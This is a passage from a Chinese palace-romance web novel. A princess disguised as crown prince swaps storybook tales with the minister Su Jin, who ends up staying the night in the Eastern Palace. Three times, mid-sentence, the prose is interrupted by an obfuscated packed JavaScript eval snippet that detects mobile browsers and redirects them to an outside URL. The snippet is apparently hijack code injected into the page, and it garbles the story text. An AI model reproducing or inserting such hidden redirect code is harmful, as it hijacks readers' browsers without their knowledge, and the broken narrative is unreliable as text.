说实话，对此她深感冒进。毕竟直到现在，她仍不敢在苏觐面前暴露半点野心。 倘若把阮蝉的情报交出去，几乎是半副明牌，她没有办法让苏觐信任她。 就像她也无法信任苏觐一样。 至少就目前来看，北伐与否，她与他谁都说服不了谁。 阮蝉摇头：“北伐这件事扯得太远了，你们现在完全可以先合作，把巴雅尔和乔绍解决掉。” 可是合作就意味着暴露野心，暴露野心就意味着小命难保啊。 阮蝉叹气：“殿下怎么就不明白呢，这些困难，都是可以靠感情克服的。” “感情？”乔鹤练懵了。 阮蝉为女君的不开窍感到无语：“我的公主，你还要我怎么直截了当？” 阮蝉看着乔鹤练道：“你不喜欢苏觐吗？” 年长的男子，足够强大，愿意保护和偏袒她，关注和开导她，弥补她对懦弱父亲的遗憾，满足她对严明母亲的渴望。 何况身为少年君王，面对清白忠贞的香草美人，安邦定国的宝器利刃，怎么可能心如止水。 “啊？”乔鹤练被这句话震得目瞪口呆，“你说什么？” “殿下如今及笄也有三年，早已是适婚之龄，儿女情事，还要人手把手教吗？”阮蝉无奈。 “不是，这种事情……”乔鹤练手足无措，“我没法说……” “没法说，就是有一点喜欢。”阮蝉目不转睛地盯着她，“殿下，你的脸红了。” 乔鹤练捂了捂面颊，局促地垂头，客观分析道：“比起所谓的丁点喜欢，我觉得，主要还是提防和算计……” “无妨啊。”阮蝉问，“殿下是不是没读过话本闲书？” 什么意思？乔鹤练抬起头。 “在话本里，单纯的喜欢根本就没人爱看。”阮蝉道，“就是在提防和算计里，夹杂一丝喜欢的，才有意思呢。” 已经听不懂蝉娘子在说什么了。 “即便你不想喜欢他，只要能让他喜欢你也足够了。”阮蝉道。 “他怎么可能喜欢我呢？”乔鹤练无语。 那么刻板冷酷的一个人，根本就不会对旁人有倾慕之情。 “根据我看话本的经验，”阮蝉道，“他不喜欢别人，但肯定喜欢死你了，十个话本里都找不出一对你们这么般配的。” 都是什么跟什么呀，每句话是人话，连在一起完全听不懂。喜欢死她？喜欢她死还差不多。 “可我如今是太子，他又不断袖。”乔鹤练抓住了问题关键。 除非她想被生烹活剐了，才会现在把自己是女子的事情吐露给苏觐。 女扮男装冒充国储，本就是死罪。对于权臣酷吏而言，更是无法容忍的弥天大罪。 扔锅里煮熟都是轻的了，搞不好要被凌迟处死。 什么情啊爱啊的，在霸权和性命面前，啥也不是。 “你们这种类型，男方一开始都不知道女方是女子，你还是话本看太少了。”阮蝉道，“没事少玩蛐蛐，多看看话本吧。” “你们先把感情谈好，剩下的事情，什么旧臣啊，北伐啊，可以后面慢慢谈嘛。” “……”看话本看疯了一个。 她与他身处风刀霜剑的残酷现实，根本不在话本里的世外桃源啊。 * 苏觐从王府搬回宅院的第一天，岑典就找上门了。 岑典赁的住宅已经欠了多月租金，如今被房东驱逐，拖不下去，不得不另寻住处。 “你再借给我九十两应急，或者八十两也行。”岑典道。 苏觐：“你先把那一千两还我，我借你一百两。” 其实也非他不借，现在确实没钱了。 “所以当初为什么不收下娘娘那三千两呢？”岑典无法理解。 如今的问题是，苏觐不要王妃给的钱，秦王也不把钱给苏觐，目的是让苏觐不得不收王妃的钱。绕来绕去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553418|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，最终的结果就是，苏觐彻底没钱了。 岑典搞不懂，嫌弃钱太多的话，他可以帮忙花掉啊。 “你找别人借。”苏觐不想继续这个话题。 “你不借，更没有别人会借了。”岑典道。 他如今还有一批古籍在当铺里押着，也不知什么时候能赎回来。 “要不，你帮我找别人借。”岑典的主意向来天马行空，“比如太子，他肯定有的是钱。” 当初秦王把御印要过来的时候，给了天子整整三万两，这笔钱，据说全部被天子留给太子了。 父爱如山，叫人羡慕啊。 “你自己去找太子借。”苏觐淡漠道。 谁让岑典闲得没事得罪太子，想借钱的时候知道后悔了吧。活该。 沉默半晌，岑典叹了口气，无可奈何道：“既然如此，我只能搬到你家住了。” “住不下。”苏觐道。 一共就两间房，倒座房没法住。 “我睡地，你睡床。”岑典表示可以凑合。 “不可能，我必须独眠。”苏觐果断拒绝。“你问寻戈愿不愿意同你住。” 岑典不愿意，刀客杀气太重，他怕半夜被一刀砍死。 “那你回王府住，我住你家。”岑典道。 “不可能。你去王府住吧。”苏觐一口回绝。 岑典想，若自己是苏觐，他也不想住王府。一家子都是君，就他一人是臣，关键是面对王妃那种亲娘，这搁谁受得了啊。 苦思冥想，思来想去，他忽然想到一个绝妙的主意：“你去住东宫，把你房子腾给我住，两全其美。” 东宫那么宽敞，那么多空房，太子一个人哪里住得完。 以免苏觐再次不假思索地拒绝，他抓紧鼓动：“你想啊，东宫离内阁那么近，走几步路就到了，离兵部也近，出门就上值，都不用花时间进出宫。半夜还能监视太子，以免他背地里搞名堂，简直一石三鸟。” 岑典心想，苏觐不是爱袒护太子么，肯定是这辈子没见过这么顽劣的草包，有新鲜感。干脆让他一天十个时辰和太子待着，看腻了那是怎样一块扶不上墙的烂泥，自然而然就没兴趣了。 在他巧舌如簧的攻势下，苏觐果然上套了：“太子并未邀请我留宿东宫，此事应该怎么开口呢？” “你蠢呐。”岑典道，“只要你在东宫赖到宫门下钥，你要么去内阁值房，要么只能留宿东宫。内阁值房不清静，太子知道，肯定不好意思赶你过去，会主动留你。一来二去，日复一日，不就成常例了吗。” “你怎么这么聪明？”苏觐道，“伯度，若没有你教我，我完全想不到还能有这个办法，实在是太高明了。若非看你如此可怜，没有地方住，我压根就不想去东宫和太子待在一块。” 是是是，你不想，你单纯得很，并且对太子没有丝毫兴趣，都是我拿刀架在你脖子上，逼着你去东宫的，舒服了吧。 岑典表面笑了下，内心狠狠腹诽。 真是病得不轻。 若不能自己及时醒悟，迷途知返，这人迟早一跟头栽死在太子这个坑里。 30. 读话本 文华殿。 乔鹤练百无聊赖地翻阅着桌案上的“礼记”。这其实是阮蝉给她从宫外捎的话本，她在书本外套了一层礼记封皮，看似瞒天过海，实则欲盖弥彰。 某人那么喜欢突袭找茬，又那么刻板端方，当然要花点心思量身定制场景。 她照例一心二用，边和侍讲官进行着关于礼记的一问一答，边粗略读着那部话本。 这些世情故事乍一看无聊俗套，但一旦开始读，根本就停不下来。 读着读着竟真陷进去了，侍讲官连唤几声殿下，她都没听见，半天才答应：“哎，稍等，等我看完这回。” 直到大殿环境寂静到诡异了，她才察觉到有事发生，抬起头一看，虽已做足准备，可还是差点没从座椅上跌下去。 身着缃素缎袍的人影赫然伫立于殿中，旁边的讲读官噤若寒蝉地跪了一地。 手忙脚乱地合上那本“礼记”，假装慌张地用别的书盖住，动静不小，乔鹤练抿了抿嘴角，状若无事发生。 “都起来。”苏觐环顾四周，声音不大，“某如今没有品秩，你们作此情状不合礼仪。” 讲读官无人敢动，皆俯伏得更低。 苏觐已踱步上前，行至太子座旁，沉默片刻，突然提高声量：“起来。” 讲读官们大气不敢出，忙不迭爬起身退回两旁。 乔鹤练垂着眼帘，心里藏着坏，头皮有点麻，心跳得很清楚。 “给我。”他向她伸出手，依旧是索要状。 咽了口唾沫，乔鹤练按兵不动。 “什么？”她不解地昂起头，佯作要蒙混过关。 “拿来，给我。”苏觐盯着她，一字一顿，“快点。” 因鱼儿咬钩而窃喜，乔鹤练大胆地抓了本《孟子》递过去，公然偷梁换柱。 苏觐果然没接，自己动手从她桌案上的书堆中翻出了那本“礼记”，二话不说收进衣袖里，转身便出去了。 讲读官们瞠目相视，皆劫后余生般松了口气，尤其是刚才给太子讲《礼记》的那名侍讲官，生怕自己会被当堂拖出去，吓得魂都飞了。 储君翻看杂书，听讲不专，可苏觐就这么一声不吭地走了，没有降罪任何一名讲读官，真是老天保佑啊。 然而，以此人的严峻手段，怎可能善罢甘休，不处置他们，必定是要处置太子了。 抬头望向太子，这绣花枕头竟丝毫不上心，还一脸没事人地招呼侍讲官继续讲书，众官不禁替其捏了把汗。 * 东宫，寝殿。 乔鹤练坐在书案后，头枕着胳膊等人。嗅着自己衣袖里的檀香，松弛得快睡着了。 还有两刻钟宫门就要落钥，苏觐还没有来。 莫不是也看“礼记”看得忘记了时辰，到这个点还没吃饭。 又或者是生气了，干脆不来了？ 眼沉沉闭上，她蒙着头，闷声唤行简再倒杯茶来，醒醒神。 只听行简在外头答应。少顷，有平缓脚步声靠近，茶盏被轻轻搁在桌案上，清鲜的雨前龙井香弥漫开。 “你出去吧，行简，让我一个人待会儿。”她道。 没有动静。 她迷迷糊糊地抬起头，只瞧见一张惊艳的冷脸，一言不发，正淡漠地注视着她。 顿时一个激灵清醒过来。 “吓我一跳。”乔鹤练轻吁口气，“我以为你不来了呢。” “殿下困了。”苏觐波澜不惊，“却不去卧房就寝。莫不是，在等我？” “对啊。”乔鹤练笑道。 “在等我，把这个还你？”他从怀中抽出那本“礼记”，在她面前虚虚一晃。 “嗯嗯。”乔鹤练点头，站起身，想夺过他手里的书本。 不料书本被瞬间举高，随之被他藏至背后。 “去把《礼记·学记》抄一遍，抄完就还你。”苏觐道，“此类书，下次不准带到文华殿。” 学记大概一千余字，抄完，宫门就该落钥了。 乔鹤练早有准备，从容不迫地从案角捻起几页墨书，递给苏觐。“昨日就抄完了，给你。” 随即伸出另一手，摊在他面前。“书，还我。” 相处了这么些时日，他会让抄书，抄哪篇书，她早都能预料了。 苏觐不动声色地接过墨书，夹进“礼记”里翻了翻。而后合上书本，理所当然道：“提前抄的不算，我说了之后才算。” “……！”蛮不讲理。 “那你先还我，我过三刻钟再给你，你当我是从现在开始抄的。”乔鹤练仍不依不饶地摊着手。比耍赖，她从来没输过。 苏觐看着小人纤长秀气的手，笑了笑，吓唬孩子道：“再不坐下拿笔，我就当你是手痒了，想挨了笞再抄十遍。” “……”行，算你狠。身为仁君，不和酷吏一般见识。 乔鹤练垂手坐下，展纸提笔，蘸了墨开始写字。 她余光瞟见苏觐把“礼记”搁在一边，竟然拿了一部《尔雅》开始看。 话本的故事就是再无聊，也比训诂辞典有意思多了吧。 她于是问：“那本‘礼记’，你看完啦？” “没看。”苏觐头也不抬。 什么？竟然没看！那她费尽心思把书送到他手里，岂不是白忙活一场。 “为什么不看？”乔鹤练大失所望。 “没有为什么。”苏觐道。 儿时村里没有私塾，母亲教他读书写字，八岁以前，只让碰经史集，后来的子部也以兵法为主。至于天文地理、百家算法，都是他十三岁入京之后才慢慢了解的。 演义话本之流，在母亲那里是绝对的禁忌。九岁那年，族兄无意间落下一本杂俎笔记在他书箱，被母亲翻了出来。母亲不听辩解，让他跪在院中，当着亲邻的面掌掴他，用烧火棍打得他卧在地上动弹不得。 那件事后，直到现在，他都无法细看任何一本“闲杂”书籍。 “你不屑看呐，嫌弃文采平平么？”乔鹤练道，“那我讲给你听吧。” 苏觐不愿再拂太子的意，点了点头。 “我先给你讲一个我刚看的吧。”乔鹤练弯起唇角。 从前有个公主，和一位世家公子青梅竹马，互相倾慕，皇帝给他们赐婚。 可宰相觊觎公主的美貌，忌恨世家公子，使奸计将世家公子调往生死攸关的沙场，趁虚而入，想让公主嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557365|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给自己。 公主本心如匪石，奈何宰相以世家公子性命作要挟，公主被迫屈服。 就在公主即将与宰相完婚时，传来前线大捷的消息，世家公子大破敌军，立下战功，回京揭穿了宰相的种种恶行。 宰相被下狱清算，世家公子和公主美满成婚，有情人终成眷属。 “世家公子是将门世家吗？”苏觐问。 “不知道，话本里没写。”乔鹤练道。 这是故事的重点吗？ “这故事说不通。”苏觐道，“如果世家公子没打过仗，不会武功，怎么可能突然大破敌军呢？” “若世家公子本就神勇无双，宰相还让皇帝把兵权给他，这么蠢的人是怎么当上宰相的？” “这只是话本，看着好玩而已，又不是现实。”乔鹤练哭笑不得，“你就当那个宰相又蠢又坏呗。” “好吧。”苏觐道，“这个故事的主人翁是世家公子，有没有那种宰相当主人翁的故事？” “有啊有啊。” 没想到苏觐听得还挺认真，乔鹤练不禁兴致勃勃，立刻开始给他讲下一个。 从前有个公主，和一位世家公子青梅竹马，互相倾慕，皇帝给他们赐婚。 “等等，”苏觐打断道，“这不还是上一个吗，怎么又是世家公子？” “你着什么急呀！”乔鹤练无奈，“我还没讲完呢，才开了个头。” “好吧。”苏觐道。 皇帝平庸无能，国家大权被一个相貌非凡、才华盖世的年轻宰相握在手里。宰相自幼暗恋公主，可公主不喜欢他，一心一意要和世家公子在一起。 得知公主将和世家公子成婚，宰相悲愤欲绝，下令将世家公子调离京城，又把公主囚禁在相府，强行拆散一对璧人。 世家公子因思念公主忧郁成疾，不久后病逝。公主虽被宰相拘束了人身，心却从未属于过他，始终痴情地爱着世家公子。 见公主执迷不悟，宰相因爱生恨，和公主日夜纠缠，白天折磨她，晚上又懊悔，如此循环往复。 最后公主彻底死心，饮鸩自尽。宰相独自守着万里江山，孤独终老，悔恨终身。 “……” 沉默良久，苏觐开口：“这个主人公或许是宰相。可为什么无论他是蠢人还是主人公，公主都只喜欢世家公子呢？” 乔鹤练无语：“哪有那么多为什么呀，写书的人让公主喜欢谁，公主就喜欢谁，你不服，你去写一个自己爱看的。” 苏觐肯定写不来话本。但他对故事很有一套想法：“两个故事的女主人公都是公主，那么公主除了喜欢世家公子，就没有什么别的能做的吗？” 这话说得倒是十分中听，和她的想法不谋而合。既是话本，又非现实，为何公主只能受制于人，被强权压迫呢？ 乔鹤练赞同道：“你说得对，这些话本只是看个乐子，没有什么警示劝解的意义，故而，万不可当真。” 说完，她执起面前的一叠墨纸，向苏觐扬了扬：“我写完了，书，还我。” 苏觐站起身，将“礼记”拿起，递还回她手里。 乔鹤练打量着他，眸光有一点狡黠：“宫门，下钥了吧。” 31. 同房 苏觐点头：“是。” “苏哥哥还有别的事情么？”乔鹤练客套假笑，心中起了浓厚的捉弄兴致。 这家伙，上次在东宫睡得可香了，这回又故意赖到这个时辰，不就是想留宿吗。 哼，留宿就留宿，又不肯大大方方直说，偏要找借口装腔作势，等别人请他。 惯得他。 “……没有。”见小人打起哈欠，看样子真困了，苏觐不得不顺着话说下去，“那么臣告退，殿下好好休息。” 言罢顿了一下。然而，并没有等来任何阻拦。 太子昏昏欲睡：“好呢，兄长大人慢走不送。” 苏觐有些意外，他原以为太子肯定会主动留他的。 失落归失落，很快便敛下情绪向殿外走去。 快两年了，他始终不习惯内阁值房的环境。并非是装潢破旧，一来有侍卫守夜，二来可能有其他阁臣在旁。 阁臣尽是老资历的秦王旧臣，不论品级，都是长辈，得礼数周全地陪侍着。他又刚替太子顶了罪，时不时就要被劝导一通。 三来则是，值房的卧榻是通用的，虽有内臣每日换衾枕，他仍接受不了，从来都坐在座位上睡。 行至门口，身后忽传来呼唤声。 “等等，苏哥哥要回内阁吗？”太子问道。 苏觐心中微动，以为小人是困糊涂了忘了这茬，这会想起来了要留他，于是驻步回头。 “是。”他答，想了想，又添了一句，“内阁值房嘈杂，比不得东宫宁静。” 已经很刻意了。可小人似乎在装傻，一口一个哥哥叫得好听，话却分明在赶人。 “路上黑，我让行简送送你？” “……不必。”心沉下去，他冷声道。 乔鹤练忍着笑，暗中观察苏觐的反应。 这回是真生气了，转身迈出大殿，携了满襟寒意，衣袖倚着夜风，径自往内阁方向而去。 * 内阁值房。 户部尚书钱峥正手持水晶单照镜，和满案鱼鳞图册较劲。核查秋收税赋的工作已近尾声，可税收簿册上几个数字实在不合理，他翻来覆去无数遍，找不出问题在哪。 忽而一阵朔气传来，值房门被轻轻推开。 钱峥抬头，见是苏觐，便寒暄道：“长绬今夜也不走？是从东宫过来的？” 苏觐行礼答应了，取了奏本想往架阁库存放，谁料没走两步就被叫住。 看来钱峥实在是没人说话，硬要多聊两句：“太子不堪造就，何必多费精力。你不如早点回王府，侍奉殿下和娘娘。” “钱尚书说得极是。”苏觐心情不佳，即便不能苟同，也没有闲情争论，随口敷衍道。 “长绬，不要嫌老朽啰嗦，都是为了你好。”钱峥仍喋喋不休，“殿下将你视若己出，上次你那般言语，可伤透了他的心。” 听得苏觐脑子嗡嗡的。私下拂逆秦王一次，每个人都要来劝诫他一番，也不知到底是谁传出去的。 耳朵起再多茧子，也得体面答复：“多谢先生关怀，此事家慈已诲示过我，以后定恪守本分，孝敬尊长。” 眼看钱峥又要唠下一个话题，八成是说挂冠之事，苏觐立刻打断：“先生这么晚还不安寝，是在忙什么要务？” 钱峥这才说出税收簿册的数字似乎有误之事。 为图个清静，苏觐径直搁下手里的文书，将钱峥请进暖阁歇息，把核对税赋数目之事包揽下来。 整理完鱼鳞图册，他反复翻看密密麻麻的税收账簿，从一团乱麻中找到了错漏源头，用白纸记录下来，计算出更正后的数字，放在了钱峥的桌案上。 等他再想去拿自己的文书时，值夜的侍卫进来通传：“大人，东宫典玺局段奉御求见。” * 跟着行简重新回到前往东宫的路上，苏觐头一回觉得宦官如此顺眼，叫人见了心生欣然。 “段公公可知，太子最近怎么了？”烦乱情绪一扫而空，他竟破天荒地和宦官攀谈起来。 “苏大人是指哪方面呢？”烦恼不会消失，只会转移到另一人身上，行简已经快郁闷死了。 上次苏觐留宿东宫，第二天就把女君拐出了宫。自那之后越来越奇怪，千岁整天惦记着苏觐，苏觐为了替千岁挡枪，连官位都不要了。 他有一种极其恐怖的预感，这两个人，不会真的互相看对眼了吧。 可那样，女君的身份和目的一旦暴露，苏觐和秦王能放过她吗？ “太子这两日，为何突然爱上看话本了？”苏觐道。 且都是谈情说爱的话本。 “这个，奴婢也不清楚。”行简讪讪道。心里则暗骂苏觐伪君子，明明就是他勾引的，还在这揣着明白装糊涂。 及至东宫，苏觐见宦官将他引入偏殿阁子里，并不见太子人影，微微蹙眉：“太子呢？” “千岁已经睡下了。”行简道，“千岁临睡前，想起苏大人在内阁值房难以入眠，嘱咐奴婢接大人回东宫安顿。” “知道了。”苏觐冷淡道，“出去。” * 乔鹤练端着烛台，坐在床上看话本。 时辰已经很晚了，但这次的故事非常新奇，堪称引人入胜，令她手不释卷。 哪怕明日还要早起去文华殿讲读，哪怕今晚苏觐就在东宫，她也毅然决然要读下去。 没办法，这个话本实在太有意思了。 有些激动的段落，看到一半，还得停下来缓一缓。 她看得太聚精会神，以至于完全没注意，黑暗中，一道人影悄无声息地进入了卧房，伫立在她的床边。 直到嗅到一丝浅淡的零陵香草气，她才发觉异样，慌忙将书藏进枕下，举起烛台向上一照，瞬间魂飞魄荡。 比白天见鬼更可怕的，当然是半夜见鬼！ 手上一个不稳，烛台倾倒，哐当滚在地上，蜡烛跌落在被衾里，蜡油横流，霍然腾起一大串焰苗。 她惊得愣成了石塑。 而一只骨节分明的手已探入火中，将那支蜡烛捞起甩熄。与此同时，被衾被猛地扯去，掀在地上，三两下扑灭了火势。 房间陷入可怕的暗与死寂，惟余一缕还未散尽的烟味，提醒着她刚才发生了什么。 她指尖微微颤抖，抚向床铺，发出轻微的摩挲声，立刻被一声极冷的喝命叫停： “待好，别乱动。” 她不由打了个寒颤，拢了拢厚实的寝衣，在烧着地龙的殿宇中瑟瑟发抖。 床尾的落地宫灯被火折子点燃，室内亮堂起来。 苏觐未穿外袍，只披着中单，网巾已取下，头发却丝毫不乱。 他拾起地上的烛台，摆回案几上，又拢起那条烧坏了的被子，去往里间储物的顶箱柜。 片刻后，他抱着几床新被褥回来，摞在床角，垂了眸淡淡瞟她。 “过来，把衣服脱了。” 此话宛如惊雷炸在耳畔，轰得她头皮发麻，如受伤的羊羔般往床榻里侧蜷缩，抱头道：“别！不要打我，我错了！” 这下不是死到临头了吗，亲手引狼入室，结果，就要被片成片，被煮熟了！ 心跳得快蹿出胸膛，她身体麻了，只听见淡漠的揶揄从头顶飘下。 “半夜不睡觉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561086|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在床上玩火，现在知道怕了？” “哪有……”她委屈极了，呜咽，“都怪你吓人，还诬蔑我玩火……” “过来，谁说要打你。让我看看，身上烫坏没有。”语气清冷，略有无奈。 乔鹤练略微松了口气，安坐着揎起衣袖，露出皓白的手臂，低头道：“没事，没碰着火。我怕冷，衣服就别脱了。” 他便捉过她的双腕，将胳膊和手仔细检查了一遍，的确没见着烧伤，没沾上蜡油，寝衣也干净完好，这才松开了手。 但他的手仍垂在她脸前。指节干净修长，骨感冷峭，指甲修剪得圆润，形色俱绝，强硬且温柔。 她盯着那只俊美的手，一动不敢动，又看得出神。 “再敢半夜烧被子，”他威胁道，“我让你第二天早上爬不起来床，听见了么？” 她怔怔点头，嗯了一声。 这话配上这手，给人一种浓烈的暗示。 对于君王而言，美色即蛊惑，是以极乐为饵的危险陷阱。 她于是偏开头，转移了话题。 “你，一点都不怕，火么？” 他的手刚才冒着火取蜡烛，可也没有半点烫伤发红的痕迹。 “火？”苏觐好笑地重复。“不怕。” 他三岁烧锻造炉，八岁与铁炮打交道，十七岁随神机营征战漠北，硝烟的味道，是他镇痛的解药。 他只怕雨水和潮气。雨水会使大炮哑火，潮气会使火药失效，二者皆会使他膝上骨伤复发。 身居华北平原，冬季肃杀，常年干燥；夏季温润，雨水丰沛。干燥意味着安全和掌控，雨水意味着脆弱和休养。 寒来暑往，周而复始。 沉默片刻，苏觐道：“睡觉。很晚了，明日再看，不然全部缴了。” 言罢给她拿了条新被子，放下帘帐。又在地上铺了一套被褥，转头将宫灯熄灭。 黑暗中，乔鹤练噎声：“你不走啦？” “我走了，任由你玩火烧书，再把自己烤了？”他冷笑。 乔鹤练咽了口唾沫，不再作声。 一时间房中只有很浅的呼吸声。 乔鹤练辗转反侧，毫无倦意，也不知是在想话本情节还是在想苏觐的手。 不知过了多久，她忍不住问：“你睡着了么？” “殿下有吩咐？”他答得很清醒。 显然他也不困，不知道在想什么。 “我睡不着，因为，我刚刚看了一个，很不一样的故事。”乔鹤练道， “我能讲给你听吗？” “讲吧。”苏觐道。 从前有一个公主，金尊玉贵，是王朝的掌上明珠，到了适婚的年龄，皇帝允许她自己挑选驸马。 公主不喜欢青梅竹马的世家弟子，不喜欢皇帝中意的宠臣，偏偏看上了来自穷乡僻壤的寒门状元。 寒门状元也对公主一见钟情，忠贞不渝。 皇帝很生气，认为公主太过任性妄为，竟敢真的不顺着他的意思选宠臣。 皇帝和宠臣使计栽赃，诬蔑寒门状元科考舞弊，将其投入大牢，强迫公主嫁给宠臣。 公主为了救寒门状元，不得不对皇帝虚以委蛇，假装同意成婚，暂时保住状元的性命，实则私下搜集宠臣贪赃枉法的证据。 最后，公主联合其他受过迫害的官员与百姓，公布了宠臣的罪行，诛杀宠臣，令昏庸的皇帝退位，自己登基为帝。 状元也洗清冤屈，被无罪释放，成为了一名宰相，和女帝携手治理国家，恩爱不疑。 “这个故事怎么样？”乔鹤练道，“是不是和前两个很不一样？” 32. 太液鸳鸯 “这个好。”苏觐道，“虽然也说不怎么通，不过比前两个好，评为第一吧。” “你觉得好在哪？”乔鹤练按捺不住，坐起了身。 “公主终于不喜欢世家公子了。” “……”气得她咚地躺回去，“这是话本的重点吗？” “公主是名副其实的女主人公，”苏觐不紧不慢，“有勇有谋，情有独钟，有明主之影。” 可惜话本终究只是话本。 古往今来，女子并非不能摄政登基，但都是凤毛麟角。此话本中公主的成功，离不开皇帝与宠臣的愚蠢恶劣，铺垫不足，显得过分轻而易举，形如空中楼阁。 再说说那个好命的状元。穷乡僻壤出身，仅凭自己寒窗苦读，就能蟾宫折桂，与公主情定终身，锒铛入狱而安然无恙，事后轻轻松松入朝拜相。 在这个故事里，倾轧众生的强权成了纸老虎，徒有其表，一碰就碎；主人公们单纯完美，不必被任何深刻的痛苦撕裂。 如果现实也能像这个话本一样随心所欲，逆风翻盘，那就轻松了。 “我知道你在想什么啦。”乔鹤练听了他的回答，舒然畅怀，宽慰道，“话本很简单，现实很复杂。但是听了故事，能笑一下就很好了啊。” 话本嘛，图个开心而已。 现实里人们的创伤，亦是可以疗愈的，一旦复健，便能体会到比话本更立体的幸福，不是么。 两亲孕育我们，天地滋养我们，他们或许不似话本作者那样，会偏心怜悯，会点石化金。 但，我们被赐予真实的血肉，被赋予强大的生命力。有幸羁旅人间，在坎坷中辛苦挣扎，纵无天降神兵，也可为自己淬炼一颗百折不挠的魂灵。 一夜无梦。 次日被行简唤醒时，寝殿里早已没有了苏觐的踪影。地板收拾得干干净净，一尘不染，仿佛他的昨夜到访，只是一场缥缈离奇的梦境。 但，房间里残余的浅淡零陵香，证实了昨晚发生过的一切。 文华殿散讲后的晌午，乔鹤练收到了两封来信。 一封是阮令望的跨海驿信。她已陪同孟蕊初抵达白济国，说那里很新奇，有许多大黎没见过的东西，长公主允许她在白济都城多游历一些时日。 孟蕊初则和发小顺利相认，如今在经营专供白济王室的绣品。 另一封是阮蝉的飞鸽传书，简单讲了细作调查的进展，提到巴雅尔对乔绍的指点，让她多加提防，不要轻易招惹。还说了岑典霸占苏觐宅院的八卦。 乔鹤练提笔给二位娘子回信。 她是真羡慕令望了，可以在白济国无拘无束地游玩，姑母对她也太宠了吧。 这要换了是她，敢说想在白济逗留，肯定要被训斥一顿，问她是不是想不乘船，自己从海里游回来。 虽然她会泅渡，但是从白济游回登州，不吃不睡也得二十多天吧。 至于阮蝉，答复知道了，提醒多加小心，顺便再讲讲令望的近况。毕竟令望从不给她的阿姊阮蝉写信。 回完了信，乔鹤练没有骑射的心情，决定不去里栏草场。想着散散步就好，于是从西华门踱出宫，不知不觉绕到了太液池畔。 小的时候，阿缜被先帝和爹看得很紧，整天除了读书就是写字。 每每一个人时，她喜欢独自去太液池玩耍，尤其是夏季，空气清新，满池菡萏开得鲜艳。 她自幼酷爱书法，极有天赋，三岁就会写碑体大楷。她常请内臣和宫人替她摘采莲瓣，以花瓣为纸，写些诗词，随后抛回池中，逗弄红鲤。 她的字确实写得很好，擅长各路名家手笔，模仿能力极强。七八岁时，阿缜懒得写仿书，常求她代笔，她总能交上惊艳四座的答卷。 阿缜因此得了先帝的赏赐，会尽数转赠给她，说是借花献佛。 阿缜是极好的哥哥，无论吃的玩的总会先想着给她。每年过生辰时，他收到的珍贵礼物永远比她多好几倍。爹，母后，先帝先后，全都更重视他。但阿缜会把所有东西摆在她面前，让她随便挑。 “我的就是鹤儿的。”阿缜很喜欢说这句话，“但凡我有的东西，鹤儿想要什么，我都会给。” 和阿缜比起来，所有长辈之中，只有两个人明显更爱重她，那便是姑母鲁国长公主和伯母秦王妃。 不同之处在于，长公主喜欢管束她，还很凶，不像秦王妃那么温柔，会哄她睡觉，把她打扮得很漂亮。 说起来，在童年时期，爹和母后总围着阿缜转，经常顾不上她。若非秦王一家常年驻守边镇，返京次数不多，否则她真的更像秦王夫妇的女儿。 后来，母后病逝，再后来，阿缜也夭折了，爹从此全心全意地扑在她一个人身上。 然而，最终还是斗不过秦王，整天念叨着让她去琼州，和卢允恭早日完婚。 明明当初让她假死冒充阿缜的时候，他是最积极的那个。 唉，话虽如此，也不知道爹在沙河待的怎么样，是不是很无聊，会不会很冷。但是有卢允恭经常去探视，想来应该还行。 秦王也不会在衣食上苛待她爹。前段时间听行简说，东宫私账上凭空多出了三万两银子，这笔钱绝对是秦王给的，八成是她爹把御印卖了换来的。 三万两，对于国库来说是杯水车薪，对她一个人来说，确实很久都花不完了。 可是，这点钱又能有什么用呢。连收买几个大臣都不够。 太液池的冬，一片凄清衰败。朔风送寒，虽有晴阳当空，投下粼粼波光，但满池残荷枯茎，只有凌乱而颓废的影。 她站在拱桥上，凭栏发愣，任由思绪和水中央孤独的野鸭一起游远。 直到一阵平稳的脚步声靠近，停驻在她身后半步。 “你知道，在话本里，这个时候应该发生什么吗？”乔鹤练背对着来人，无聊地笑了一下。 “什么？”苏觐问。 “你是歹人，我是主人公，你应该把我推进湖里，害我落水着凉。”她道。 “遵命。”他说着便上前，将手覆在她的肩上。 “大胆。”乔鹤练佯作生气，“竟真的敢推本宫，你要谋反吗？” “臣有罪。”他放下手，退后道，“听凭殿下处置。” “根据《话本律》，主人公不得受委屈，一旦被欺负，必须当场报复回去。” 乔鹤练回身扯住他衣袖，想将他往栏杆边拽。 奈何力气不够，拽不动，只好等他自己走过来。 “此刻，主人公应当反击歹人，将歹人推进水里。”她作了个推人的手势，“但 